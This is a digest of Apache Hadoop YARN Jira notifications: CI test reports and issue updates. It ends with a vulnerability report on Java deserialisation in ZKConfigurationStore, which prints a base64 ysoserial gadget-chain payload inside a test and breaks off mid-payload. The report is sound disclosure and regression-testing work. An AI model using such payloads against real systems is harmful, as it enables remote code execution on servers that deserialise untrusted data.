[jira] [Commented] (YARN-11272) [RESERVATION] Federation StateStore: Support storage/retrieval of Reservations With Zk
[
https://issues.apache.org/jira/browse/YARN-11272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583412#comment-17583412
]
ASF GitHub Bot commented on YARN-11272:
---
hadoop-yetus commented on PR #4781:
URL: https://github.com/apache/hadoop/pull/4781#issuecomment-1223646494
:confetti_ball: **+1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 57s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 3 new or modified test files. |
_ trunk Compile Tests _ |
| +1 :green_heart: | mvninstall | 38m 32s | | trunk passed |
| +1 :green_heart: | compile | 1m 1s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 0m 56s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 0m 50s | | trunk passed |
| +1 :green_heart: | mvnsite | 1m 2s | | trunk passed |
| +1 :green_heart: | javadoc | 1m 4s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 0m 53s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 1m 51s | | trunk passed |
| +1 :green_heart: | shadedclient | 21m 22s | | branch has no errors
when building and testing our client artifacts. |
| -0 :warning: | patch | 21m 49s | | Used diff version of patch file.
Binary files and potentially other changes not applied. Please rebase and
squash commits if necessary. |
_ Patch Compile Tests _ |
| +1 :green_heart: | mvninstall | 0m 42s | | the patch passed |
| +1 :green_heart: | compile | 0m 44s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 0m 44s | | the patch passed |
| +1 :green_heart: | compile | 0m 38s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 0m 38s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| +1 :green_heart: | checkstyle | 0m 27s | | the patch passed |
| +1 :green_heart: | mvnsite | 0m 41s | | the patch passed |
| +1 :green_heart: | javadoc | 0m 37s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 0m 34s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 1m 29s | | the patch passed |
| +1 :green_heart: | shadedclient | 20m 45s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| +1 :green_heart: | unit | 3m 7s | | hadoop-yarn-server-common in
the patch passed. |
| +1 :green_heart: | asflicense | 0m 51s | | The patch does not
generate ASF License warnings. |
| | | 99m 55s | | |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4781/4/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4781 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets |
| uname | Linux c35d3cf844dc 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux |
| Build tool | maven |
| Personality | dev-support/bin/hadoop.sh |
| git revision | trunk / 4c27aaddba1465b95686c80b7751c0cfe5bb8b33 |
| Default Java | Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| Multi-JDK versions | /usr/lib/jvm/java-11-openjdk-amd64:Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1
/usr/lib/jvm/java-8-openjdk-amd64:Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| Test Results |
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4781/4/testReport/ |
| Max. process+thread count | 560 (vs. ulimit of 5500) |
| modules | C:
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common U:
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-com
[jira] [Commented] (YARN-11247) Remove unused classes introduced by YARN-9615
[ https://issues.apache.org/jira/browse/YARN-11247?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583431#comment-17583431 ] ASF GitHub Bot commented on YARN-11247: --- slfan1989 commented on PR #4720: URL: https://github.com/apache/hadoop/pull/4720#issuecomment-1223711957 @tomscut @Hexiaoqiao @ayushtkn Can you help review this pr? I want to delete DisableEventTypeMetrics.java because this class is not used. Thank you very much! > Remove unused classes introduced by YARN-9615 > - > > Key: YARN-11247 > URL: https://issues.apache.org/jira/browse/YARN-11247 > Project: Hadoop YARN > Issue Type: Sub-task > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: fanshilun >Assignee: fanshilun >Priority: Minor > Labels: pull-request-available > Attachments: DisableEventTypeMetrics-Not used.png > > > YARN-9615 adds Metric to RM's dispatcher, but the patch introduces a class > without any usage > org.apache.hadoop.yarn.metrics#DisableEventTypeMetrics > 1. Without any code references > 2. Without any test code references > 3. Delete this class, the local can be compiled successfully > I think this class can be removed. -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Created] (YARN-11276) add lru cache for RMWebServices.getApps
Xianming Lei created YARN-11276: --- Summary: add lru cache for RMWebServices.getApps Key: YARN-11276 URL: https://issues.apache.org/jira/browse/YARN-11276 Project: Hadoop YARN Issue Type: Improvement Components: resourcemanager Affects Versions: 3.3.4 Reporter: Xianming Lei -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11276) add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Xianming Lei updated YARN-11276: Affects Version/s: 3.4.0 (was: 3.3.4) > add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11276) Add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Xianming Lei updated YARN-11276: Summary: Add lru cache for RMWebServices.getApps (was: add lru cache for RMWebServices.getApps) > Add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11276) Add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Xianming Lei updated YARN-11276: Description: In our YARN cluster, there are thousands of apps running at the same time, the return result of getApps reaches about 10M, and many requests are the same input parameters, we can add cache for RMWebServices.getApps to reduce processing delay > Add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > > In our YARN cluster, there are thousands of apps running at the same time, > the return result of getApps reaches about 10M, and many requests are the > same input parameters, we can add cache for RMWebServices.getApps to reduce > processing delay -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11276) Add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] ASF GitHub Bot updated YARN-11276: -- Labels: pull-request-available (was: ) > Add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > Labels: pull-request-available > > In our YARN cluster, there are thousands of apps running at the same time, > the return result of getApps reaches about 10M, and many requests are the > same input parameters, we can add cache for RMWebServices.getApps to reduce > processing delay -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583443#comment-17583443 ] ASF GitHub Bot commented on YARN-11276: --- leixm opened a new pull request, #4793: URL: https://github.com/apache/hadoop/pull/4793 JIRA: YARN-11276. Add lru cache for RMWebServices.getApps. > Add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > > In our YARN cluster, there are thousands of apps running at the same time, > the return result of getApps reaches about 10M, and many requests are the > same input parameters, we can add cache for RMWebServices.getApps to reduce > processing delay -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[ https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583445#comment-17583445 ] ASF GitHub Bot commented on YARN-11276: --- slfan1989 commented on PR #4793: URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1223763372 LGTM. > Add lru cache for RMWebServices.getApps > --- > > Key: YARN-11276 > URL: https://issues.apache.org/jira/browse/YARN-11276 > Project: Hadoop YARN > Issue Type: Improvement > Components: resourcemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > Labels: pull-request-available > > In our YARN cluster, there are thousands of apps running at the same time, > the return result of getApps reaches about 10M, and many requests are the > same input parameters, we can add cache for RMWebServices.getApps to reduce > processing delay -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11275) [Federation] Add batchFinishApplicationMaster in UAMPoolManager
[
https://issues.apache.org/jira/browse/YARN-11275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583459#comment-17583459
]
ASF GitHub Bot commented on YARN-11275:
---
hadoop-yetus commented on PR #4792:
URL: https://github.com/apache/hadoop/pull/4792#issuecomment-1223799319
:broken_heart: **-1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 53s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 1 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 15m 11s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 28m 31s | | trunk passed |
| +1 :green_heart: | compile | 4m 33s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 3m 44s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 1m 30s | | trunk passed |
| +1 :green_heart: | mvnsite | 1m 53s | | trunk passed |
| +1 :green_heart: | javadoc | 1m 46s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 1m 28s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 3m 36s | | trunk passed |
| +1 :green_heart: | shadedclient | 26m 37s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 38s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 6s | | the patch passed |
| +1 :green_heart: | compile | 6m 57s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 6m 57s | | the patch passed |
| +1 :green_heart: | compile | 5m 37s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 5m 37s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| -0 :warning: | checkstyle | 1m 50s |
[/results-checkstyle-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/1/artifact/out/results-checkstyle-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server.txt)
| hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server: The patch generated 1
new + 2 unchanged - 0 fixed = 3 total (was 2) |
| +1 :green_heart: | mvnsite | 2m 23s | | the patch passed |
| +1 :green_heart: | javadoc | 1m 59s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 1m 49s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 5m 26s | | the patch passed |
| -1 :x: | shadedclient | 36m 58s | | patch has errors when building
and testing our client artifacts. |
_ Other Tests _ |
| -1 :x: | unit | 0m 51s |
[/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-common.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/1/artifact/out/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-common.txt)
| hadoop-yarn-server-common in the patch failed. |
| -1 :x: | unit | 0m 37s |
[/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-nodemanager.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/1/artifact/out/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-nodemanager.txt)
| hadoop-yarn-server-nodemanager in the patch failed. |
| +0 :ok: | asflicense | 0m 40s | | ASF License check generated no
output? |
| | | 158m 36s | | |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4792/1/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4792 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespe
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583520#comment-17583520
]
ASF GitHub Bot commented on YARN-11276:
---
hadoop-yetus commented on PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1223914494
:broken_heart: **-1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 47s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 0s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 1s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 1s | | detect-secrets was not available.
|
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 2 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 15m 10s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 27m 33s | | trunk passed |
| +1 :green_heart: | compile | 10m 3s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 9m 26s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 19s | | trunk passed |
| +1 :green_heart: | mvnsite | 4m 5s | | trunk passed |
| +1 :green_heart: | javadoc | 4m 32s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 58s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 8m 4s | | trunk passed |
| -1 :x: | shadedclient | 28m 10s | | branch has errors when building
and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 41s | | Maven dependency ordering for patch |
| -1 :x: | mvninstall | 1m 9s |
[/patch-mvninstall-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/patch-mvninstall-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt)
| hadoop-yarn-server-resourcemanager in the patch failed. |
| -1 :x: | compile | 0m 30s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1. |
| -1 :x: | javac | 0m 30s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-11.0.15+10-Ubuntu-0ubuntu0.20.04.1.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1. |
| -1 :x: | compile | 0m 31s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07. |
| -1 :x: | javac | 0m 31s |
[/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/patch-compile-hadoop-yarn-project_hadoop-yarn-jdkPrivateBuild-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07.txt)
| hadoop-yarn in the patch failed with JDK Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07. |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| -0 :warning: | checkstyle | 0m 29s |
[/buildtool-patch-checkstyle-hadoop-yarn-project_hadoop-yarn.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/buildtool-patch-checkstyle-hadoop-yarn-project_hadoop-yarn.txt)
| The patch fails to run checkstyle in hadoop-yarn |
| -1 :x: | mvnsite | 0m 25s |
[/patch-mvnsite-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt](https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/1/artifact/out/patch-mvnsite-hadoop-yarn-project_hadoop-yarn_ha
[jira] [Updated] (YARN-11162) Set the zk acl for nodes created by ZKConfigurationStore.
[ https://issues.apache.org/jira/browse/YARN-11162?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-11162: Fix Version/s: 3.3.4 (was: 3.3.9) > Set the zk acl for nodes created by ZKConfigurationStore. > - > > Key: YARN-11162 > URL: https://issues.apache.org/jira/browse/YARN-11162 > Project: Hadoop YARN > Issue Type: Bug > Components: resourcemanager >Affects Versions: 2.10.1 >Reporter: Owen O'Malley >Assignee: Owen O'Malley >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4 > > Time Spent: 0.5h > Remaining Estimate: 0h > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11126:
Fix Version/s: 3.3.4
(was: 3.3.9)
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/r